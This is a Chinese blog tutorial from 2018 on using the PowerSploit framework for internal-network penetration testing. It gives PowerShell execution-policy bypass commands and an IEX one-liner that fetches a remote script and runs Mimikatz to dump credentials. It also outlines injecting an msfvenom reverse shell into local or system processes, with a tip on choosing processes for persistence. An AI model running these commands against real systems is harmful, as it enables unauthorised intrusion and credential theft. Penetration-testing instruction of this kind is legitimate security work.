Powershell内网渗透利器之PowerSploit
作者:CQITer小编 时间:2018-05-21 16:21
之前提到当在执行powershell脚本时,由于默认策略的缘故,是会报错的,因此也出现了几种逃过的情况:
本地权限绕过:PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1,此外还可以通过本地隐藏权限进行绕过:PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1
IEX下载远程PS1脚本权限绕过执行(在本例PowerSploit框架利用中会使用):powershell.exe “IEX (New-Object Net.WebClient).DownloadString(‘网址/对应脚本名称’); Invoke-Mimikatz -DumpCreds”
0×01 PowerSploit简介
PowerSploit是Microsoft PowerShell模块的集合,可用于在评估的所有阶段帮助渗透测试人员。PowerSploit由以下模块和脚本组成:

本次将会展示CodeExecution模块、Recon模块、Exfiltration模块以及Privesc模块的部分主流的脚本的渗透实例。
0×02 利用PowerSploit框架进行渗透的一些实例
0×00 准备工作
a) 在kali(因为kali上集成很多好用的工具以及环境)上使用命令git clone https://github.com/mattifestation/PowerSploit.git 下载最新版的PowerSploit脚本文件;或者直接进入https://github.com/PowerShellMafia/PowerSploit 下载脚本文件。
b) 打开一个web服务,并将下载的脚本文件放入web中,供我们通过IEX调用。
c) 打开kali中的metasploit,本次的测试有部分需要通过metasploit结合完成。
0×01 CodeExecution模块
a) 调用Invoke-Shellcode将shellcode注入到本地的Powershell。
1)打开一个web服务,并将PowerSploit脚本添加到web中,以便后续实验中可通过IEX进行下载调用(此处我在kali中开启apache2服务)。


2)利用msfvenom生成一个反弹木马,以供invoke-shellcode注入,同样生成的反弹马放入web中。

3)这里为了更好的展现效果,因此直接在powershell中进行操作,通过IEX下载调用invoke-shellcode以及生成的反弹马。

4)在kali中打开metasploit并设置好监听(只需设置PAYLOAD、LHOST、LPORT)。


5)在powershell中调用invoke-shellcode(可通过help命令来查询具体操作以及例子)。

注意:若此处关闭powershell,那么连接也将终断,因为承载木马的powershell被关闭了。
b) 调用invoke-shellcode将shellcode注入到指定的进程中。
1)前面步骤和a的步骤一致,唯一不同的就是在最后的命令上,首先,查看我们需要注入的进程,建议可注入到系统的进程,因为一旦进程关闭,那么监听也将终断,因此系统进程一般不会被关闭,注意:不能注入到像360等驱动中,不然会被强制关闭。




